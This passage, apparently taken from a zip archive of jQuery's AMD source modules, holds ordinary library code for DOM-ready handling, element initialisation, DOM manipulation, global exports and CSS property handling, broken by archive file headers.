		for ( i in key ) {
			access( elems, fn, i, key[ i ], true, emptyGet, raw );
		}

	// Sets one value
	} else if ( value !== undefined ) {
		chainable = true;

		if ( !isFunction( value ) ) {
			raw = true;
		}

		if ( bulk ) {

			// Bulk operations run against the entire set
			if ( raw ) {
				fn.call( elems, value );
				fn = null;

			// ...except when executing function values
			} else {
				bulk = fn;
				fn = function( elem, key, value ) {
					return bulk.call( jQuery( elem ), value );
				};
			}
		}

		if ( fn ) {
			for ( ; i < len; i++ ) {
				fn(
					elems[ i ], key, raw ?
					value :
					value.call( elems[ i ], i, fn( elems[ i ], key ) )
				);
			}
		}
	}

	if ( chainable ) {
		return elems;
	}

	// Gets
	if ( bulk ) {
		return fn.call( elems );
	}

	return len ? fn( elems[ 0 ], key ) : emptyGet;
};

return access;

} );
PKg��\0�'���
core/ready.jsnu�[���define( [
	"../core",
	"../var/document",
	"../core/readyException",
	"../deferred"
], function( jQuery, document ) {

"use strict";

// The deferred used on DOM ready
var readyList = jQuery.Deferred();

jQuery.fn.ready = function( fn ) {

	readyList
		.then( fn )

		// Wrap jQuery.readyException in a function so that the lookup
		// happens at the time of error handling instead of callback
		// registration.
		.catch( function( error ) {
			jQuery.readyException( error );
		} );

	return this;
};

jQuery.extend( {

	// Is the DOM ready to be used? Set to true once it occurs.
	isReady: false,

	// A counter to track how many items to wait for before
	// the ready event fires. See #6781
	readyWait: 1,

	// Handle when the DOM is ready
	ready: function( wait ) {

		// Abort if there are pending holds or we're already ready
		if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {
			return;
		}

		// Remember that the DOM is ready
		jQuery.isReady = true;

		// If a normal DOM Ready event fired, decrement, and wait if need be
		if ( wait !== true && --jQuery.readyWait > 0 ) {
			return;
		}

		// If there are functions bound, to execute
		readyList.resolveWith( document, [ jQuery ] );
	}
} );

jQuery.ready.then = readyList.then;

// The ready event handler and self cleanup method
function completed() {
	document.removeEventListener( "DOMContentLoaded", completed );
	window.removeEventListener( "load", completed );
	jQuery.ready();
}

// Catch cases where $(document).ready() is called
// after the browser event has already occurred.
// Support: IE <=9 - 10 only
// Older IE sometimes signals "interactive" too soon
if ( document.readyState === "complete" ||
	( document.readyState !== "loading" && !document.documentElement.doScroll ) ) {

	// Handle it asynchronously to allow scripts the opportunity to delay ready
	window.setTimeout( jQuery.ready );

} else {

	// Use the handy event callback
	document.addEventListener( "DOMContentLoaded", completed );

	// A fallback to window.onload, that will always work
	window.addEventListener( "load", completed );
}

} );
PKg��\����88core/camelCase.jsnu�[���define( [], function() {

"use strict";

// Matches dashed string for camelizing
var rmsPrefix = /^-ms-/,
	rdashAlpha = /-([a-z])/g;

// Used by camelCase as callback to replace()
function fcamelCase( all, letter ) {
	return letter.toUpperCase();
}

// Convert dashed to camelCase; used by the css and data modules
// Support: IE <=9 - 11, Edge 12 - 15
// Microsoft forgot to hump their vendor prefix (#9572)
function camelCase( string ) {
	return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase );
}

return camelCase;

} );
PKg��\M2�Ɋ
�
core/init.jsnu�[���// Initialize a jQuery object
define( [
	"../core",
	"../var/document",
	"../var/isFunction",
	"./var/rsingleTag",

	"../traversing/findFilter"
], function( jQuery, document, isFunction, rsingleTag ) {

"use strict";

// A central reference to the root jQuery(document)
var rootjQuery,

	// A simple way to check for HTML strings
	// Prioritize #id over <tag> to avoid XSS via location.hash (#9521)
	// Strict HTML recognition (#11290: must start with <)
	// Shortcut simple #id case for speed
	rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,

	init = jQuery.fn.init = function( selector, context, root ) {
		var match, elem;

		// HANDLE: $(""), $(null), $(undefined), $(false)
		if ( !selector ) {
			return this;
		}

		// Method init() accepts an alternate rootjQuery
		// so migrate can support jQuery.sub (gh-2101)
		root = root || rootjQuery;

		// Handle HTML strings
		if ( typeof selector === "string" ) {
			if ( selector[ 0 ] === "<" &&
				selector[ selector.length - 1 ] === ">" &&
				selector.length >= 3 ) {

				// Assume that strings that start and end with <> are HTML and skip the regex check
				match = [ null, selector, null ];

			} else {
				match = rquickExpr.exec( selector );
			}

			// Match html or make sure no context is specified for #id
			if ( match && ( match[ 1 ] || !context ) ) {

				// HANDLE: $(html) -> $(array)
				if ( match[ 1 ] ) {
					context = context instanceof jQuery ? context[ 0 ] : context;

					// Option to run scripts is true for back-compat
					// Intentionally let the error be thrown if parseHTML is not present
					jQuery.merge( this, jQuery.parseHTML(
						match[ 1 ],
						context && context.nodeType ? context.ownerDocument || context : document,
						true
					) );

					// HANDLE: $(html, props)
					if ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) {
						for ( match in context ) {

							// Properties of context are called as methods if possible
							if ( isFunction( this[ match ] ) ) {
								this[ match ]( context[ match ] );

							// ...and otherwise set as attributes
							} else {
								this.attr( match, context[ match ] );
							}
						}
					}

					return this;

				// HANDLE: $(#id)
				} else {
					elem = document.getElementById( match[ 2 ] );

					if ( elem ) {

						// Inject the element directly into the jQuery object
						this[ 0 ] = elem;
						this.length = 1;
					}
					return this;
				}

			// HANDLE: $(expr, $(...))
			} else if ( !context || context.jquery ) {
				return ( context || root ).find( selector );

			// HANDLE: $(expr, context)
			// (which is just equivalent to: $(context).find(expr)
			} else {
				return this.constructor( context ).find( selector );
			}

		// HANDLE: $(DOMElement)
		} else if ( selector.nodeType ) {
			this[ 0 ] = selector;
			this.length = 1;
			return this;

		// HANDLE: $(function)
		// Shortcut for document ready
		} else if ( isFunction( selector ) ) {
			return root.ready !== undefined ?
				root.ready( selector ) :

				// Execute immediately if ready is not present
				selector( jQuery );
		}

		return jQuery.makeArray( selector, this );
	};

// Give the init function the jQuery prototype for later instantiation
init.prototype = jQuery.fn;

// Initialize central reference
rootjQuery = jQuery( document );

return init;

} );
PKg��\��H��core/toType.jsnu�[���define( [
	"../var/class2type",
	"../var/toString"
], function( class2type, toString ) {

"use strict";

function toType( obj ) {
	if ( obj == null ) {
		return obj + "";
	}

	// Support: Android <=2.3 only (functionish RegExp)
	return typeof obj === "object" || typeof obj === "function" ?
		class2type[ toString.call( obj ) ] || "object" :
		typeof obj;
}

return toType;
} );
PKg��\"�Z�""core/DOMEval.jsnu�[���define( [
	"../var/document"
], function( document ) {
	"use strict";

	var preservedScriptAttributes = {
		type: true,
		src: true,
		noModule: true
	};

	function DOMEval( code, doc, node ) {
		doc = doc || document;

		var i,
			script = doc.createElement( "script" );

		script.text = code;
		if ( node ) {
			for ( i in preservedScriptAttributes ) {
				if ( node[ i ] ) {
					script[ i ] = node[ i ];
				}
			}
		}
		doc.head.appendChild( script ).parentNode.removeChild( script );
	}

	return DOMEval;
} );
PKg��\�$�=33manipulation.jsnu�[���define( [
	"./core",
	"./var/concat",
	"./var/isFunction",
	"./var/push",
	"./core/access",
	"./manipulation/var/rcheckableType",
	"./manipulation/var/rtagName",
	"./manipulation/var/rscriptType",
	"./manipulation/wrapMap",
	"./manipulation/getAll",
	"./manipulation/setGlobalEval",
	"./manipulation/buildFragment",
	"./manipulation/support",

	"./data/var/dataPriv",
	"./data/var/dataUser",
	"./data/var/acceptData",
	"./core/DOMEval",
	"./core/nodeName",

	"./core/init",
	"./traversing",
	"./selector",
	"./event"
], function( jQuery, concat, isFunction, push, access,
	rcheckableType, rtagName, rscriptType,
	wrapMap, getAll, setGlobalEval, buildFragment, support,
	dataPriv, dataUser, acceptData, DOMEval, nodeName ) {

"use strict";

var

	/* eslint-disable max-len */

	// See https://github.com/eslint/eslint/issues/3229
	rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,

	/* eslint-enable */

	// Support: IE <=10 - 11, Edge 12 - 13 only
	// In IE/Edge using regex groups here causes severe slowdowns.
	// See https://connect.microsoft.com/IE/feedback/details/1736512/
	rnoInnerhtml = /<script|<style|<link/i,

	// checked="checked" or checked
	rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
	rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;

// Prefer a tbody over its parent table for containing new rows
function manipulationTarget( elem, content ) {
	if ( nodeName( elem, "table" ) &&
		nodeName( content.nodeType !== 11 ? content : content.firstChild, "tr" ) ) {

		return jQuery( elem ).children( "tbody" )[ 0 ] || elem;
	}

	return elem;
}

// Replace/restore the type attribute of script elements for safe DOM manipulation
function disableScript( elem ) {
	elem.type = ( elem.getAttribute( "type" ) !== null ) + "/" + elem.type;
	return elem;
}
function restoreScript( elem ) {
	if ( ( elem.type || "" ).slice( 0, 5 ) === "true/" ) {
		elem.type = elem.type.slice( 5 );
	} else {
		elem.removeAttribute( "type" );
	}

	return elem;
}

function cloneCopyEvent( src, dest ) {
	var i, l, type, pdataOld, pdataCur, udataOld, udataCur, events;

	if ( dest.nodeType !== 1 ) {
		return;
	}

	// 1. Copy private data: events, handlers, etc.
	if ( dataPriv.hasData( src ) ) {
		pdataOld = dataPriv.access( src );
		pdataCur = dataPriv.set( dest, pdataOld );
		events = pdataOld.events;

		if ( events ) {
			delete pdataCur.handle;
			pdataCur.events = {};

			for ( type in events ) {
				for ( i = 0, l = events[ type ].length; i < l; i++ ) {
					jQuery.event.add( dest, type, events[ type ][ i ] );
				}
			}
		}
	}

	// 2. Copy user data
	if ( dataUser.hasData( src ) ) {
		udataOld = dataUser.access( src );
		udataCur = jQuery.extend( {}, udataOld );

		dataUser.set( dest, udataCur );
	}
}

// Fix IE bugs, see support tests
function fixInput( src, dest ) {
	var nodeName = dest.nodeName.toLowerCase();

	// Fails to persist the checked state of a cloned checkbox or radio button.
	if ( nodeName === "input" && rcheckableType.test( src.type ) ) {
		dest.checked = src.checked;

	// Fails to return the selected option to the default selected state when cloning options
	} else if ( nodeName === "input" || nodeName === "textarea" ) {
		dest.defaultValue = src.defaultValue;
	}
}

function domManip( collection, args, callback, ignored ) {

	// Flatten any nested arrays
	args = concat.apply( [], args );

	var fragment, first, scripts, hasScripts, node, doc,
		i = 0,
		l = collection.length,
		iNoClone = l - 1,
		value = args[ 0 ],
		valueIsFunction = isFunction( value );

	// We can't cloneNode fragments that contain checked, in WebKit
	if ( valueIsFunction ||
			( l > 1 && typeof value === "string" &&
				!support.checkClone && rchecked.test( value ) ) ) {
		return collection.each( function( index ) {
			var self = collection.eq( index );
			if ( valueIsFunction ) {
				args[ 0 ] = value.call( this, index, self.html() );
			}
			domManip( self, args, callback, ignored );
		} );
	}

	if ( l ) {
		fragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored );
		first = fragment.firstChild;

		if ( fragment.childNodes.length === 1 ) {
			fragment = first;
		}

		// Require either new content or an interest in ignored elements to invoke the callback
		if ( first || ignored ) {
			scripts = jQuery.map( getAll( fragment, "script" ), disableScript );
			hasScripts = scripts.length;

			// Use the original fragment for the last item
			// instead of the first because it can end up
			// being emptied incorrectly in certain situations (#8070).
			for ( ; i < l; i++ ) {
				node = fragment;

				if ( i !== iNoClone ) {
					node = jQuery.clone( node, true, true );

					// Keep references to cloned scripts for later restoration
					if ( hasScripts ) {

						// Support: Android <=4.0 only, PhantomJS 1 only
						// push.apply(_, arraylike) throws on ancient WebKit
						jQuery.merge( scripts, getAll( node, "script" ) );
					}
				}

				callback.call( collection[ i ], node, i );
			}

			if ( hasScripts ) {
				doc = scripts[ scripts.length - 1 ].ownerDocument;

				// Reenable scripts
				jQuery.map( scripts, restoreScript );

				// Evaluate executable scripts on first document insertion
				for ( i = 0; i < hasScripts; i++ ) {
					node = scripts[ i ];
					if ( rscriptType.test( node.type || "" ) &&
						!dataPriv.access( node, "globalEval" ) &&
						jQuery.contains( doc, node ) ) {

						if ( node.src && ( node.type || "" ).toLowerCase()  !== "module" ) {

							// Optional AJAX dependency, but won't run scripts if not present
							if ( jQuery._evalUrl ) {
								jQuery._evalUrl( node.src );
							}
						} else {
							DOMEval( node.textContent.replace( rcleanScript, "" ), doc, node );
						}
					}
				}
			}
		}
	}

	return collection;
}

function remove( elem, selector, keepData ) {
	var node,
		nodes = selector ? jQuery.filter( selector, elem ) : elem,
		i = 0;

	for ( ; ( node = nodes[ i ] ) != null; i++ ) {
		if ( !keepData && node.nodeType === 1 ) {
			jQuery.cleanData( getAll( node ) );
		}

		if ( node.parentNode ) {
			if ( keepData && jQuery.contains( node.ownerDocument, node ) ) {
				setGlobalEval( getAll( node, "script" ) );
			}
			node.parentNode.removeChild( node );
		}
	}

	return elem;
}

jQuery.extend( {
	htmlPrefilter: function( html ) {
		return html.replace( rxhtmlTag, "<$1></$2>" );
	},

	clone: function( elem, dataAndEvents, deepDataAndEvents ) {
		var i, l, srcElements, destElements,
			clone = elem.cloneNode( true ),
			inPage = jQuery.contains( elem.ownerDocument, elem );

		// Fix IE cloning issues
		if ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) &&
				!jQuery.isXMLDoc( elem ) ) {

			// We eschew Sizzle here for performance reasons: https://jsperf.com/getall-vs-sizzle/2
			destElements = getAll( clone );
			srcElements = getAll( elem );

			for ( i = 0, l = srcElements.length; i < l; i++ ) {
				fixInput( srcElements[ i ], destElements[ i ] );
			}
		}

		// Copy the events from the original to the clone
		if ( dataAndEvents ) {
			if ( deepDataAndEvents ) {
				srcElements = srcElements || getAll( elem );
				destElements = destElements || getAll( clone );

				for ( i = 0, l = srcElements.length; i < l; i++ ) {
					cloneCopyEvent( srcElements[ i ], destElements[ i ] );
				}
			} else {
				cloneCopyEvent( elem, clone );
			}
		}

		// Preserve script evaluation history
		destElements = getAll( clone, "script" );
		if ( destElements.length > 0 ) {
			setGlobalEval( destElements, !inPage && getAll( elem, "script" ) );
		}

		// Return the cloned set
		return clone;
	},

	cleanData: function( elems ) {
		var data, elem, type,
			special = jQuery.event.special,
			i = 0;

		for ( ; ( elem = elems[ i ] ) !== undefined; i++ ) {
			if ( acceptData( elem ) ) {
				if ( ( data = elem[ dataPriv.expando ] ) ) {
					if ( data.events ) {
						for ( type in data.events ) {
							if ( special[ type ] ) {
								jQuery.event.remove( elem, type );

							// This is a shortcut to avoid jQuery.event.remove's overhead
							} else {
								jQuery.removeEvent( elem, type, data.handle );
							}
						}
					}

					// Support: Chrome <=35 - 45+
					// Assign undefined instead of using delete, see Data#remove
					elem[ dataPriv.expando ] = undefined;
				}
				if ( elem[ dataUser.expando ] ) {

					// Support: Chrome <=35 - 45+
					// Assign undefined instead of using delete, see Data#remove
					elem[ dataUser.expando ] = undefined;
				}
			}
		}
	}
} );

jQuery.fn.extend( {
	detach: function( selector ) {
		return remove( this, selector, true );
	},

	remove: function( selector ) {
		return remove( this, selector );
	},

	text: function( value ) {
		return access( this, function( value ) {
			return value === undefined ?
				jQuery.text( this ) :
				this.empty().each( function() {
					if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
						this.textContent = value;
					}
				} );
		}, null, value, arguments.length );
	},

	append: function() {
		return domManip( this, arguments, function( elem ) {
			if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
				var target = manipulationTarget( this, elem );
				target.appendChild( elem );
			}
		} );
	},

	prepend: function() {
		return domManip( this, arguments, function( elem ) {
			if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
				var target = manipulationTarget( this, elem );
				target.insertBefore( elem, target.firstChild );
			}
		} );
	},

	before: function() {
		return domManip( this, arguments, function( elem ) {
			if ( this.parentNode ) {
				this.parentNode.insertBefore( elem, this );
			}
		} );
	},

	after: function() {
		return domManip( this, arguments, function( elem ) {
			if ( this.parentNode ) {
				this.parentNode.insertBefore( elem, this.nextSibling );
			}
		} );
	},

	empty: function() {
		var elem,
			i = 0;

		for ( ; ( elem = this[ i ] ) != null; i++ ) {
			if ( elem.nodeType === 1 ) {

				// Prevent memory leaks
				jQuery.cleanData( getAll( elem, false ) );

				// Remove any remaining nodes
				elem.textContent = "";
			}
		}

		return this;
	},

	clone: function( dataAndEvents, deepDataAndEvents ) {
		dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
		deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;

		return this.map( function() {
			return jQuery.clone( this, dataAndEvents, deepDataAndEvents );
		} );
	},

	html: function( value ) {
		return access( this, function( value ) {
			var elem = this[ 0 ] || {},
				i = 0,
				l = this.length;

			if ( value === undefined && elem.nodeType === 1 ) {
				return elem.innerHTML;
			}

			// See if we can take a shortcut and just use innerHTML
			if ( typeof value === "string" && !rnoInnerhtml.test( value ) &&
				!wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) {

				value = jQuery.htmlPrefilter( value );

				try {
					for ( ; i < l; i++ ) {
						elem = this[ i ] || {};

						// Remove element nodes and prevent memory leaks
						if ( elem.nodeType === 1 ) {
							jQuery.cleanData( getAll( elem, false ) );
							elem.innerHTML = value;
						}
					}

					elem = 0;

				// If using innerHTML throws an exception, use the fallback method
				} catch ( e ) {}
			}

			if ( elem ) {
				this.empty().append( value );
			}
		}, null, value, arguments.length );
	},

	replaceWith: function() {
		var ignored = [];

		// Make the changes, replacing each non-ignored context element with the new content
		return domManip( this, arguments, function( elem ) {
			var parent = this.parentNode;

			if ( jQuery.inArray( this, ignored ) < 0 ) {
				jQuery.cleanData( getAll( this ) );
				if ( parent ) {
					parent.replaceChild( elem, this );
				}
			}

		// Force callback invocation
		}, ignored );
	}
} );

jQuery.each( {
	appendTo: "append",
	prependTo: "prepend",
	insertBefore: "before",
	insertAfter: "after",
	replaceAll: "replaceWith"
}, function( name, original ) {
	jQuery.fn[ name ] = function( selector ) {
		var elems,
			ret = [],
			insert = jQuery( selector ),
			last = insert.length - 1,
			i = 0;

		for ( ; i <= last; i++ ) {
			elems = i === last ? this : this.clone( true );
			jQuery( insert[ i ] )[ original ]( elems );

			// Support: Android <=4.0 only, PhantomJS 1 only
			// .get() because push.apply(_, arraylike) throws on ancient WebKit
			push.apply( ret, elems.get() );
		}

		return this.pushStack( ret );
	};
} );

return jQuery;
} );
PKg��\!����exports/global.jsnu�[���define( [
	"../core"
], function( jQuery, noGlobal ) {

"use strict";

var

	// Map over jQuery in case of overwrite
	_jQuery = window.jQuery,

	// Map over the $ in case of overwrite
	_$ = window.$;

jQuery.noConflict = function( deep ) {
	if ( window.$ === jQuery ) {
		window.$ = _$;
	}

	if ( deep && window.jQuery === jQuery ) {
		window.jQuery = _jQuery;
	}

	return jQuery;
};

// Expose jQuery and $ identifiers, even in AMD
// (#7102#comment:10, https://github.com/jquery/jquery/pull/557)
// and CommonJS for browser emulators (#13566)
if ( !noGlobal ) {
	window.jQuery = window.$ = jQuery;
}

} );
PKg��\B$v�exports/amd.jsnu�[���define( [
	"../core"
], function( jQuery ) {

"use strict";

// Register as a named AMD module, since jQuery can be concatenated with other
// files that may use define, but not via a proper concatenation script that
// understands anonymous AMD modules. A named AMD is safest and most robust
// way to register. Lowercase jquery is used because AMD module names are
// derived from file names, and jQuery is normally delivered in a lowercase
// file name. Do this after creating the global so that if an AMD module wants
// to call noConflict to hide this version of jQuery, it will work.

// Note that for maximum portability, libraries that are not jQuery should
// declare themselves as anonymous modules, and avoid setting a global if an
// AMD loader is present. jQuery is a special case. For more information, see
// https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon

if ( typeof define === "function" && define.amd ) {
	define( "jquery", [], function() {
		return jQuery;
	} );
}

} );
PKg��\[��k�5�5css.jsnu�[���define( [
	"./core",
	"./var/pnum",
	"./core/access",
	"./core/camelCase",
	"./var/document",
	"./var/rcssNum",
	"./css/var/rnumnonpx",
	"./css/var/cssExpand",
	"./css/var/getStyles",
	"./css/var/swap",
	"./css/curCSS",
	"./css/adjustCSS",
	"./css/addGetHookIf",
	"./css/support",

	"./core/init",
	"./core/ready",
	"./selector" // contains
], function( jQuery, pnum, access, camelCase, document, rcssNum, rnumnonpx, cssExpand,
	getStyles, swap, curCSS, adjustCSS, addGetHookIf, support ) {

"use strict";

var

	// Swappable if display is none or starts with table
	// except "table", "table-cell", or "table-caption"
	// See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display
	rdisplayswap = /^(none|table(?!-c[ea]).+)/,
	rcustomProp = /^--/,
	cssShow = { position: "absolute", visibility: "hidden", display: "block" },
	cssNormalTransform = {
		letterSpacing: "0",
		fontWeight: "400"
	},

	cssPrefixes = [ "Webkit", "Moz", "ms" ],
	emptyStyle = document.createElement( "div" ).style;

// Return a css property mapped to a potentially vendor prefixed property
function vendorPropName( name ) {

	// Shortcut for names that are not vendor prefixed
	if ( name in emptyStyle ) {
		return name;
	}

	// Check for vendor prefixed names
	var capName = name[ 0 ].toUpperCase() + name.slice( 1 ),
		i = cssPrefixes.length;

	while ( i-- ) {
		name = cssPrefixes[ i ] + capName;
		if ( name in emptyStyle ) {
			return name;
		}
	}
}

// Return a property mapped along what jQuery.cssProps suggests or to
// a vendor prefixed property.
function finalPropName( name ) {
	var ret = jQuery.cssProps[ name ];
	if ( !ret ) {
		ret = jQuery.cssProps[ name ] = vendorPropName( name ) || name;
	}
	return ret;
}

function setPositiveNumber( elem, value, subtract ) {

	// Any relative (+/-) values have already been
	// normalized at this point
	var matches = rcssNum.exec( value );
	return matches ?

		// Guard against undefined "subtract", e.g., when used as in cssHooks
		Math.max( 0, matches[ 2 ] - ( subtract || 0 ) ) + ( matches[ 3 ] || "px" ) :
		value;
}

function boxModelAdjustment( elem, dimension, box, isBorderBox, styles, computedVal ) {
	var i = dimension === "width" ? 1 : 0,
		extra = 0,
		delta = 0;

	// Adjustment may not be necessary
	if ( box === ( isBorderBox ? "border" : "content" ) ) {
		return 0;
	}

	for ( ; i < 4; i += 2 ) {

		// Both box models exclude margin
		if ( box === "margin" ) {
			delta += jQuery.css( elem, box + cssExpand[ i ], true, styles );
		}

		// If we get here with a content-box, we're seeking "padding" or "border" or "margin"
		if ( !isBorderBox ) {

			// Add padding
			delta += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );

			// For "border" or "margin", add border
			if ( box !== "padding" ) {
				delta += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );

			// But still keep track of it otherwise
			} else {
				extra += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
			}

		// If we get here with a border-box (content + padding + border), we're seeking "content" or
		// "padding" or "margin"
		} else {

			// For "content", subtract padding
			if ( box === "content" ) {
				delta -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );
			}

			// For "content" or "padding", subtract border
			if ( box !== "margin" ) {
				delta -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
			}
		}
	}

	// Account for positive content-box scroll gutter when requested by providing computedVal
	if ( !isBorderBox && computedVal >= 0 ) {

		// offsetWidth/offsetHeight is a rounded sum of content, padding, scroll gutter, and border
		// Assuming integer scroll gutter, subtract the rest and round down
		delta += Math.max( 0, Math.ceil(
			elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] -
			computedVal -
			delta -
			extra -
			0.5
		) );
	}

	return delta;
}

function getWidthOrHeight( elem, dimension, extra ) {

	// Start with computed style
	var styles = getStyles( elem ),
		val = curCSS( elem, dimension, styles ),
		isBorderBox = jQuery.css( elem, "boxSizing", false, styles ) === "border-box",
		valueIsBorderBox = isBorderBox;

	// Support: Firefox <=54
	// Return a confounding non-pixel value or feign ignorance, as appropriate.
	if ( rnumnonpx.test( val ) ) {
		if ( !extra ) {
			return val;
		}
		val = "auto";
	}

	// Check for style in case a browser which returns unreliable values
	// for getComputedStyle silently falls back to the reliable elem.style
	valueIsBorderBox = valueIsBorderBox &&
		( support.boxSizingReliable() || val === elem.style[ dimension ] );

	// Fall back to offsetWidth/offsetHeight when value is "auto"
	// This happens for inline elements with no explicit setting (gh-3571)
	// Support: Android <=4.1 - 4.3 only
	// Also use offsetWidth/offsetHeight for misreported inline dimensions (gh-3602)
	if ( val === "auto" ||
		!parseFloat( val ) && jQuery.css( elem, "display", false, styles ) === "inline" ) {

		val = elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ];

		// offsetWidth/offsetHeight provide border-box values
		valueIsBorderBox = true;
	}

	// Normalize "" and auto
	val = parseFloat( val ) || 0;

	// Adjust for the element's box model
	return ( val +
		boxModelAdjustment(
			elem,
			dimension,
			extra || ( isBorderBox ? "border" : "content" ),
			valueIsBorderBox,
			styles,

			// Provide the current computed size to request scroll gutter calculation (gh-3589)
			val
		)
	) + "px";
}

jQuery.extend( {

	// Add in style property hooks for overriding the default
	// behavior of getting and setting a style property
	cssHooks: {
		opacity: {
			get: function( elem, computed ) {
				if ( computed ) {

					// We should always get a number back from opacity
					var ret = curCSS( elem, "opacity" );
					return ret === "" ? "1" : ret;
				}
			}
		}
	},

	// Don't automatically add "px" to these possibly-unitless properties
	cssNumber: {
		"animationIterationCount": true,
		"columnCount": true,
		"fillOpacity": true,
		"flexGrow": true,
		"flexShrink": true,
		"fontWeight": true,
		"lineHeight": true,
		"opacity": true,
		"order": true,
		"orphans": true,
		"widows": true,
		"zIndex": true,
		"zoom": true
	},

	// Add in properties whose names you wish to fix before
	// setting or getting the value
	cssProps: {},

	// Get and set the style property on a DOM Node
	style: function( elem, name, value, extra ) {

		// Don't set styles on text and comment nodes
		if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {
			return;
		}

		// Make sure that we're working with the right name
		var ret, type, hooks,
			origName = camelCase( name ),
			isCustomProp = rcustomProp.test( name ),
			style = elem.style;

		// Make sure that we're working with the right name. We don't
		// want to query the value if it is a CSS custom property
		// since they are user-defined.
		if ( !isCustomProp ) {
			name = finalPropName( origName );
		}

		// Gets hook for the prefixed version, then unprefixed version
		hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];

		// Check if we're setting a value
		if ( value !== undefined ) {
			type = typeof value;

			// Convert "+=" or "-=" to relative numbers (#7345)
			if ( type === "string" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) {
				value = adjustCSS( elem, name, ret );

				// Fixes bug #9237
				type = "number";
			}

			// Make sure that null and NaN values aren't set (#7116)
			if ( value == null || value !== value ) {
				return;
			}

			// If a number was passed in, add the unit (except for certain CSS properties)
			if ( type === "number" ) {
				value += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? "" : "px" );
			}

			// background-* props affect original clone's values
			if ( !support.clearCloneStyle && value === "" && name.indexOf( "background" ) === 0 ) {
				style[ name ] = "inherit";
			}

			// If a hook was provided, use that value, otherwise just set the specified value
			if ( !hooks || !( "set" in hooks ) ||
				( value = hooks.set( elem, value, extra ) ) !== undefined ) {

				if ( isCustomProp ) {
					style.setProperty( name, value );
				} else {
					style[ name ] = value;
				}
			}

		} else {

			// If a hook was provided get the non-computed value from there
			if ( hooks && "get" in hooks &&
				( ret = hooks.get( elem, false, extra ) ) !== undefined ) {

				return ret;
			}

			// Otherwise just get the value from the style object
			return style[ name ];
		}
	},

	css: function( elem, name, extra, styles ) {
		var val, num, hooks,
			origName = camelCase( name ),
			isCustomProp = rcustomProp.test( name );

		// Make sure that we're working with the right name. We don't
		// want to modify the value if it is a CSS custom property
		// since they are user-defined.
		if ( !isCustomProp ) {
			name = finalPropName( origName );
		}

		// Try prefixed name followed by the unprefixed name
		hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];

		// If a hook was provided get the computed value from there
		if ( hooks && "get" in hooks ) {
			val = hooks.get( elem, true, extra );
		}

		// Otherwise, if a way to get the computed value exists, use that
		if ( val === undefined ) {
			val = curCSS( elem, name, styles );
		}

		// Convert "normal" to computed value
		if ( val === "normal" && name in cssNormalTransform ) {
			val = cssNormalTransform[ name ];
		}

		// Make numeric if forced or a qualifier was provided and val looks numeric
		if ( extra === "" || extra ) {
			num = parseFloat( val );
			return extra === true || isFinite( num ) ? num || 0 : val;
		}

		return val;
	}
} );

jQuery.each( [ "height", "width" ], function( i, dimension ) {
	jQuery.cssHooks[ dimension ] = {
		get: function( elem, computed, extra ) {
			if ( computed ) {

				// Certain elements can have dimension info if we invisibly show them
				// but it must have a current display style that would benefit
				return rdisplayswap.test( jQuery.css( elem, "display" ) ) &&

					// Support: Safari 8+
					// Table columns in Safari have non-zero offsetWidth & zero
					// getBoundingClientRect().width unless display is changed.
					// Support: IE <=11 only
					// Running getBoundingClientRect on a disconnected node
					// in IE throws an error.
					( !elem.getClientRects().length || !elem.getBoundingClientRect().width ) ?
						swap( elem, cssShow, function() {
							return getWidthOrHeight( elem, dimension, extra );
						} ) :
						getWidthOrHeight( elem, dimension, extra );
			}
		},

		set: function( elem, value, extra ) {
			var matches,
				styles = getStyles( elem ),
				isBorderBox = jQuery.css( elem, "boxSizing", false, styles ) === "border-box",
				subtract = extra && boxModelAdjustment(
					elem,
					dimension,
					extra,
					isBorderBox,
					styles
				);

			// Account for unreliable border-box dimensions by comparing offset* to computed and
			// faking a content-box to get border and padding (gh-3699)
			if ( isBorderBox && support.scrollboxSize() === styles.position ) {
				subtract -= Math.ceil(
					elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] -
					parseFloat( styles[ dimension ] ) -
					boxModelAdjustment( elem, dimension, "border", false, styles ) -
					0.5
				);
			}

			// Convert to pixels if value adjustment is needed
			if ( subtract && ( matches = rcssNum.exec( value ) ) &&
				( matches[ 3 ] || "px" ) !== "px" ) {

				elem.style[ dimension ] = value;
				value = jQuery.css( elem, dimension );
			}

			return setPositiveNumber( elem, value, subtract );
		}
	};
} );

jQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft,
	function( elem, computed ) {
		if ( computed ) {
			return ( parseFloat( curCSS( elem, "marginLeft" ) ) ||
